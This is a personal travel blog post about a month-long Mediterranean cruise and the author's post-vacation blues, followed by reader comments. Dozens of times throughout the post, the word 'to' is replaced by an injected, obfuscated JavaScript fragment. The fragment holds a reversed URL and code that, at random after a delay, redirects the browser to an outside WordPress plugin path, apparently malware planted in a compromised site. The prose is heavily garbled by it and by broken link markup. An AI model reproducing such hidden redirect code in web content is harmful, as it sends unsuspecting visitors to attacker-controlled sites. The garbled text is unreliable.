The Diva Returns

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top:2px;padding-right:5px;font-family:times;”>The greatest problem of going away for a month-long holiday is that you have toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to return home when the vacation is over – back toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to reality and all its demands. toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-moi.html” target=”_blank”>My August vacation, a short driving toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour through Italy before taking a 20 day Mediterranean Cruise, was heaven! The return, a week ago toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today, has been hell. Loads of laundry and unopened email aside, life looms large before me. As demands on my time outweigh the hours in the day, I’ve found I’m in a post-vacation funk. Apparently this is a fairly normal occurrence, as toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torial.cfm?Ed=322″ target=”_blank”>Performance and Profits newsletter writes:

“Post-vacation blues are such a common malady, even His Holiness has had something toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to say on the matter. ‘I try toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to imagine what passes through the spirit of one who comes back after a period of relaxation, perhaps long desired and now already over,’ the late Pope John Paul II once said, adding that some people often dread ‘daily reality, with its concreteness, its problems, its heaviness’.”

The Pope’s words ring true as I face this post-vacation hang-over. August was a month at sea with no worries, not a care in the world, and no responsibilities or looming deadlines. The vacation was excellent. I’ve returned sun-tanned, a solid 5 pounds fatter than when I departed, and full of glorious memories of a month spent side by side with my husband, renewing our energies and relationship.

While this vacation was among the best we’ve ever had, I must admit I have mixed feelings about the actual process of cruising. One part of me loved the cruise – the glamour of going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to bed at sea and waking in a new location each day in the heat of the Mediterranean, with the sun slowly teasing me awake each day. I loved the 16 destinations, 8 countries, 6 formal nights full of ball gowns and tuxedos, nightly 5 course dinners, and room service breakfasts.

Yet, another part of me mildly hated the lack of authenticity one experiences when contained in the cultural cruise bubble. When traveling in the Med, I want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to taste the local culture, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to wake up toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Turkish coffee or a perfectly frothed Italian cappuccino. Instead, I found myself surrounded by taco bars and hot dogs, hamburgers and pizza by the poolside while eavesdropping on people saying “Well, we’ve done Greece”, as if a 4 hour toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour in Corfu constitutes a check mark.

What we did find was that cruising was an excellent way toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to test-drive a country. Our desired future vacation “toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do” list has grown with comments such as, “We must return toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Dubrovnik, Croatia someday – a day wasn’t nearly enough!” And research has already begun on low cost airlines for a return toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Ephesus for a long weekend around Easter next year. Weaving through the alleyways of Sicily, we stumbled intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to La Vucciria, one of Italy’s greatest markets with its crowded souk-like passage ways. We loaded our arms with vacuum packed sundried toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toes, capers and olives as fat and ripe as mandarins, knowing that we’d just done the grocery shopping for our next cocktail party.

Cruising was also an excellent way toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to recall past trips, returning toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Barcelona toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to recall everything toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toni_Gaud%C3%AD” target=”_blank”>Gaudi, or toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torini.net/” target=”_blank”>Santoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torini, climbing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top of the caldera on donkey-back, an experience we’d missed on our last trip and swear we would never repeat again. We tasted Tunisia and loved bartering in French with the locals who exclaimed in delight that we couldn’t possibly be from the cruise, giving us an extra discount because we spoke French. We finally entered the magnificent St John’s Co-Cathedral in toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town” target=”_blank”>Valletta that we had missed seeing on our first trip toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Malta and realized that for the last 7 years we had missed out on seeing one of the most interesting cathedrals in the world.

Days at sea found us bidding at art auctions, taking cooking courses and passing hours gazing out at a still blue sea over the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top of a Truman Capote novella. For perhaps my first time on vacation, I entirely forgot about the life I’d left behind at shore as I lost track of the days of the week or the hours in the day. Upon filling our first tank of gas on a 2 day drive home from Rome, my husband realized that in the absence of responsibility the month before he had forgotten the code toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to his gas card. Days after I returned home I went toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to call my sister and couldn’t remember her phone number. Given that I usually call her weekly, this lapse in memory was just a small example of how far removed from reality we’d been while at sea. Having not had a care in the world for an entire month, it’s no wonder I’ve returned from vacation a little blue… but it’s a deep Mediterranean blue, the color of a church roof in Santoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torini or the sea when the sun is setting and you’re sailing away from the rising rocky coastline of Croatia…

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Author: Toma Clark Haines

Toma Clark Haines is a Global Tastemaker, Speaker, Writer & Entrepreneur; and founder and CEO The Antiques Diva® & Co, Europe, Asia and America's largest Antiques Sourcing & Touring Company.

12 thoughts on “The Diva Returns”

  1. Hi Brit Gal & Kim –

    Brit Gal, would you beleive I get horribly car sick, but didn't get sea sick once?!

    Kim, You worded it perfectly – "go back for the main course at my leisure"! By the way, "bonne chance" with your French lessons!

    Best,
    The Diva

  2. Wow–what a trip! I can certainly understand the hangover part after all that. Interesting about feeling you were in a “cruise bubble”. Sounds plausible (i have never been on one). But, oh, the places you visited. At least you had a little nibble of each one and now you can go back for the main course at your leisure!!
    Welcome back to the real world

  3. Welcome back, you’re vacation sounded heavenly, although it’s not for me as I get seasick in the bath! The escapism from real life would be nice for a month though.

    BTW – the 4th July beach was Gage, not Crystal!

  4. Wood Green Antique & Collectors Fair returns to the popular Wood Green Animal Shelter this weekend and is fully booked with exhibitors.
    The extremely popular event, which attracts a wide range of visitors from across the UK is crammed full of interesting antiquities (and collectables) from across the globe.

    You don't have to be a serious collectors to enjoy this show, you may even discover that the heirloom passed down from your family is worth a small fortune!

    From ornaments to antique jewellery, furniture to plates the Wood Green Antique & collectors Fair is sure to have something for everyone.

    Show Details

    Venue: Wood Green Animal Shelter, Godmanchester, Cambs, PE29 2NH
    Dates: Saturday 13th – Sunday 14th September 2008
    Open: 10am – 5pm Saturday; 10am – 4pm Sunday

  5. Esther – Babyccino!
    I’m back from a lovely cruise and will look very forward to reconnecting with you this fall! It was a delight to meet face to face this summer! You are as fun in person as you appear to be on your blog!
    Cheers,
    The Diva

  6. Welcome back, Diva! I’m happy to read you had such a wonderful trip!
    Let’s get together when you recover from the post-vacation blues…
    xxx Esther

  7. Diva,
    We are glad you are back!! You’re month long vacay sounds like heaven! You and WG definitely deserved a good break from life!
    Take it easy while getting back into the swing of things… you have that luxury being a diva! 😉
    Bisous

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